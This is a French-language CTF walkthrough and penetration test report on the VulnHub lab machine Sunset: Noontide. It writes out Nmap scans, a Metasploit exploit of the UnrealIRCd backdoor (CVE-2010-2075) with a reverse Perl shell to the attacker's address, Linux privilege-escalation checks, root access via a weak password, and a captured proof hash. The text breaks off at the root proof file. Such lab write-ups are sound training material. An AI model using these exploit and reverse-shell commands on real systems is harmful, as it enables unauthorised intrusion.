
Description Évaluation professionnelle de test d'intrusion de la machine VulnHub Sunset: Noontide, couvrant la reconnaissance, l'énumération des services, l'exploitation de CVE-2010-2075, la post-exploitation, l'élévation de privilèges et la compromission complète du système.
Une évaluation professionnelle de test d'intrusion et un walkthrough CTF de Sunset: Noontide, une machine intentionnellement vulnérable de VulnHub.
Ce projet documente le cycle complet de test d'intrusion, incluant la reconnaissance, l'énumération des services, la recherche de vulnérabilités, l'exploitation, l'accès initial, la post-exploitation, l'élévation de privilèges, la preuve de compromission, l'évaluation des risques, le mapping MITRE ATT&CK et la remédiation.
⚠️ Avertissement : Cette évaluation a été réalisée contre une machine intentionnellement vulnérable dans un environnement de laboratoire autorisé. Les techniques et commandes documentées ici sont destinées uniquement aux systèmes pour lesquels une autorisation explicite a été obtenue.
| Composant | Détails |
|---|---|
| Cible | Sunset: Noontide |
| Plateforme | VulnHub |
| IP cible | 10.106.186.186 |
| Nom d'hôte cible | noontide |
| OS cible | Debian GNU/Linux 10 (Buster) |
| Architecture | x86_64 |
| Plateforme attaquante | Kali Linux |
| IP attaquante | 10.106.186.204 |
| Type d'évaluation | Évaluation en laboratoire autorisée |
| Risque global | CRITIQUE |
| Résultat de l'évaluation | Compromission totale du système |
Découverte de la cible → Énumération Nmap → UnrealIRCd 3.2.8.1 identifié → SearchSploit → CVE-2010-2075 identifié → Exploitation Metasploit → Shell de commande distant → Shell en tant que server → Post-exploitation Linux → Identifiant root faible → su root → UID 0 / Accès root → Fichiers de preuve user et root
Une découverte réseau initiale a été effectuée pour identifier la cible vulnérable.
La cible a finalement été identifiée comme :
10.106.186.186
Lors de la reconnaissance, 10.106.186.142 a été identifié comme la passerelle par défaut plutôt que la cible visée.
Cela souligne l'importance d'identifier correctement la cible avant d'effectuer d'autres tests de sécurité, en particulier dans un réseau de laboratoire en mode bridge ou partagé.
La détection de service et de version Nmap a été effectuée contre la cible à l'aide de :
nmap -sV 10.106.186.186
Le service exposé significatif identifié lors de l'évaluation était :
6667/tcp open irc UnrealIRCd
Un scan plus détaillé a ensuite été effectué à l'aide de :
nmap -sC -sV -Pn -p 6667 10.106.186.186
Le service a été identifié comme :
UnrealIRCd 3.2.8.1
Le service IRC a également signalé :
irc.foonet.com
Le service UnrealIRCd exposé est devenu la principale surface d'attaque étudiée lors de l'évaluation.
SearchSploit a été utilisé pour étudier les vulnérabilités documentées publiquement associées à la version d'UnrealIRCd découverte.
Commande :
searchsploit UnrealIRCd 3.2.8.1
Le résultat pertinent était :
UnrealIRCd 3.2.8.1 - Backdoor Command Exec
linux/remote/16922.rb
La vulnérabilité a été identifiée comme :
CVE-2010-2075
Exécution de commandes via backdoor dans UnrealIRCd 3.2.8.1
Critique
Exécution de commandes à distance
L'exploitation réussie du service vulnérable permet à un attaquant d'exécuter des commandes à distance sur le système cible.
Le service IRC vulnérable a été exploité à l'aide du Metasploit Framework.
Le module sélectionné était :
exploit/unix/irc/unreal_ircd_3281_backdoor
Exemple de configuration :
use exploit/unix/irc/unreal_ircd_3281_backdoor
set RHOST 10.106.186.186
Les tentatives initiales de payload n'ont pas produit de session utilisable.
Un payload Unix reverse-Perl compatible a ensuite été sélectionné :
set payload cmd/unix/reverse_perl
set LHOST 10.106.186.204
set LPORT 4444
run
Metasploit a signalé que la cible semblait vulnérable et a ouvert avec succès une session de shell de commande.
Le shell obtenu a été vérifié à l'aide de :
whoami
Résultat :
server
Cela a confirmé l'exécution réussie de commandes à distance en tant que compte server.
Le répertoire de travail initial était :
/home/server/irc/Unreal3.2
À ce stade, l'évaluation est passée de l'exploitation d'un service distant à l'énumération de post-exploitation locale.
Après l'obtention du shell, une énumération Linux standard a été effectuée pour comprendre l'hôte compromis et identifier les chemins potentiels d'élévation de privilèges.
Commande :
id
Résultat :
uid=1000(server) gid=1000(server)
Le compte était un utilisateur non-root.
Commande :
hostname
Résultat :
noontide
Commande :
uname -a
Résultat :
Linux noontide 4.19.0-10-amd64 x86_64
Commande :
cat /etc/os-release
Résultat :
Debian GNU/Linux 10 (buster)
Ces commandes ont établi l'identité actuelle, le nom d'hôte, la version du noyau, le système d'exploitation et la configuration générale du système.
Plusieurs vérifications standard d'élévation de privilèges Linux ont été effectuées.
Commande :
find / -perm -4000 -type f 2>/dev/null
Des binaires SUID standard tels que passwd, chsh, mount, umount, su, chfn, newgrp et gpasswd ont été identifiés.
Aucun binaire SUID personnalisé ou anormal évident n'a été identifié comme le vecteur d'élévation réussi.
Commande :
sudo -l
Aucun chemin utile d'élévation de privilèges basé sur sudo n'a été identifié à partir de la sortie disponible.
Commandes :
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.hourly/
ls -la /etc/cron.daily/
ls -la /etc/cron.weekly/
Les tâches planifiées observées étaient des tâches système standard de type Debian.
Aucune tâche cron root inscriptible évidente n'a été identifiée.
Commande :
find / -writable -type f 2>/dev/null | head -100
Les résultats initiaux étaient principalement des pseudo-fichiers /proc et n'ont pas révélé de vecteur pratique d'élévation de privilèges.
Commande :
getcap -r / 2>/dev/null
Aucune élévation de privilèges utile basée sur les capacités n'a été identifiée à partir de la sortie résultante.
Le chemin d'élévation de privilèges réussi était basé sur les identifiants root intentionnellement faibles configurés sur la machine vulnérable.
Le compte root a été accédé à l'aide de :
su root
Mot de passe :
root
L'accès root a ensuite été vérifié à l'aide de :
id
Résultat :
uid=0(root) gid=0(root) groups=0(root)
L'identité a également été confirmée à l'aide de :
whoami
Résultat :
root
Cela a confirmé le contrôle administratif complet du système cible.
Le fichier de preuve au niveau utilisateur était situé à :
/home/server/local.txt
Commande :
cat /home/server/local.txt
Résultat :
c53c08b5bf2b0801c5d0c24149826a6e
Le fichier de preuve au niveau root était situé à :